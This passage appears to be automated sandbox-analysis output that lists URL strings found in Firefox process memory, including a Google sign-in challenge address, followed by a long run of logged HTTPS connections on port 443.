Source: firefox.exe, 0000001E.00000002.2790288302.0000022EC7CA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/sig4a
Source: firefox.exe, 0000001C.00000002.2843855069.0000017A586C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2831568612.0000017A57DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789371723.0000022EC791A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2790288302.0000022EC7CA4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789371723.0000022EC7910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001C.00000002.2816945713.0000017A4C65E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd(
Source: firefox.exe, 0000001A.00000002.2631599210.000001FA0B38A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2643542367.000002C8CE669000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2806468203.0000017A4C259000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001C.00000002.2820304960.0000017A4E217000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2820304960.0000017A4E1EF000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2790288302.0000022EC7CA4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789371723.0000022EC7910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001C.00000002.2816945713.0000017A4C611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdPO
Source: firefox.exe, 0000001C.00000002.2806468203.0000017A4C259000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwda
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.combound
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comevictOutOfRangeContentViewersservices.sync.lastTabFetchvalidate/chromeModifiers
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comget
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comwebIsolated=https://youtube.combound

Source: unknown	Network traffic detected: HTTP traffic on port 62458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62435 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62378 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62653 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62538 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62493 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62712
Source: unknown	Network traffic detected: HTTP traffic on port 62470 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62718
Source: unknown	Network traffic detected: HTTP traffic on port 62390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 62629 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62642 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62367 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62602
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62603
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62604
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62605
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62726
Source: unknown	Network traffic detected: HTTP traffic on port 62424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62606
Source: unknown	Network traffic detected: HTTP traffic on port 62688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62727
Source: unknown	Network traffic detected: HTTP traffic on port 62550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62607
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62728
Source: unknown	Network traffic detected: HTTP traffic on port 62527 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62608
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62729
Source: unknown	Network traffic detected: HTTP traffic on port 62802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63520 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62596 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62721
Source: unknown	Network traffic detected: HTTP traffic on port 62561 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62612
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62613
Source: unknown	Network traffic detected: HTTP traffic on port 62687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62614
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62737
Source: unknown	Network traffic detected: HTTP traffic on port 62400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62526 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62619
Source: unknown	Network traffic detected: HTTP traffic on port 62801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62597 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62356 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62631 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63521 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62469 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62610
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62731
Source: unknown	Network traffic detected: HTTP traffic on port 62744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62611
Source: unknown	Network traffic detected: HTTP traffic on port 62436 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62379 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62411 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62502
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62623
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62744
Source: unknown	Network traffic detected: HTTP traffic on port 62447 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62503
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62624
Source: unknown	Network traffic detected: HTTP traffic on port 62722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62505
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62506
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62627
Source: unknown	Network traffic detected: HTTP traffic on port 62665 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62507
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62628
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62629
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62509
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62740
Source: unknown	Network traffic detected: HTTP traffic on port 62481 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62620
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62500
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62621
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62501
Source: unknown	Network traffic detected: HTTP traffic on port 62483 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62460 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62620 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62586 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62425 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62560 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62354 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62808
Source: unknown	Network traffic detected: HTTP traffic on port 62608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62809
Source: unknown	Network traffic detected: HTTP traffic on port 62494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62459 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62388 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62663 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62806
Source: unknown	Network traffic detected: HTTP traffic on port 62619 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62575 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62607 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62366 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62437 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62641 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62664 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62559 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62482 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62709
Source: unknown	Network traffic detected: HTTP traffic on port 62587 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62471 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62705
Source: unknown	Network traffic detected: HTTP traffic on port 62525 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62707
Source: unknown	Network traffic detected: HTTP traffic on port 62426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62355 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62598 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62680
Source: unknown	Network traffic detected: HTTP traffic on port 62718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62436
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62557
Source: unknown	Network traffic detected: HTTP traffic on port 62662 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62437
Source: unknown	Network traffic detected: HTTP traffic on port 62496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62558
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62679
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62438
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62559
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62439
Source: unknown	Network traffic detected: HTTP traffic on port 62576 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62670
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62550
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62671
Source: unknown	Network traffic detected: HTTP traffic on port 62358 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62501 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62551
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63520
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62431
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62552
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62673
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62432
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62553
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62674
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62433
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63521
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62434
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62555
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62676
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62435
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62556
Source: unknown	Network traffic detected: HTTP traffic on port 62599 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62677
Source: unknown	Network traffic detected: HTTP traffic on port 62742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62690
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62570
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62691
Source: unknown	Network traffic detected: HTTP traffic on port 62512 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62381 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62547 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62604 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62447
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62568
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62448
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62569
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62449
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63539
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63538
Source: unknown	Network traffic detected: HTTP traffic on port 62370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62560
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62681
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62440
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62561
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62441
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62562
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62683
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62442
Source: unknown	Network traffic detected: HTTP traffic on port 62558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62563
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62443
Source: unknown	Network traffic detected: HTTP traffic on port 62449 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62685
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62444
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62565
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62445
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62566
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62687
Source: unknown	Network traffic detected: HTTP traffic on port 62707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62446
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62567
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63776
Source: unknown	Network traffic detected: HTTP traffic on port 62674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63512 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62651 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62580
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62460
Source: unknown	Network traffic detected: HTTP traffic on port 62382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62513 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62569 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62603 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62458
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62459
Source: unknown	Network traffic detected: HTTP traffic on port 62472 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62639 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62450
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62571
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62692
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62451
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62572
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62452
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62573
Source: unknown	Network traffic detected: HTTP traffic on port 62427 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62453
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62574
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62695
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62454
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62575
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62455
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62576
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62456
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62577
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62457
Source: unknown	Network traffic detected: HTTP traffic on port 62484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62578
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62699
Source: unknown	Network traffic detected: HTTP traffic on port 62461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62590
Source: unknown	Network traffic detected: HTTP traffic on port 62696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62470
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62591
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62471
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62592
Source: unknown	Network traffic detected: HTTP traffic on port 63775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62469
Source: unknown	Network traffic detected: HTTP traffic on port 62804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62577 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62450 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62535 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62461
Source: unknown	Network traffic detected: HTTP traffic on port 62764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62462
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62583
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62463
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62584
Source: unknown	Network traffic detected: HTTP traffic on port 62359 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62393 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62464
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62465
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62586
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62466
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62587
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62467
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62468
Source: unknown	Network traffic detected: HTTP traffic on port 62628 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62368 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62605 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62513
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62634
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62514
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62635
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62515
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62636
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62517
Source: unknown	Network traffic detected: HTTP traffic on port 62557 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62638
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62518
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62639
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62519
Source: unknown	Network traffic detected: HTTP traffic on port 62803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62630
Source: unknown	Network traffic detected: HTTP traffic on port 62463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62510
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62631
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62632
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62633
Source: unknown	Network traffic detected: HTTP traffic on port 62568 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62407 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62451 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62497 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62403
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62524
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62645
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62404
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62525
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62646
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62405
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62526
Source: unknown	Network traffic detected: HTTP traffic on port 62720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63616
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62406
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62527
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62648
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62407
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62649
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63618
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62529
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62409
Source: unknown	Network traffic detected: HTTP traffic on port 62357 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62523 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63616 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62391 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62520
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62641
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62400
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62521
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62642
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62401
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62522
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62643
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62402
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62523
Source: unknown	Network traffic detected: HTTP traffic on port 62649 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62590 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62414
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62535
Source: unknown	Network traffic detected: HTTP traffic on port 62578 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62415
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62416
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62537
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62417
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62659
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62418
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62539
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63629
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62419
Source: unknown	Network traffic detected: HTTP traffic on port 62683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62650
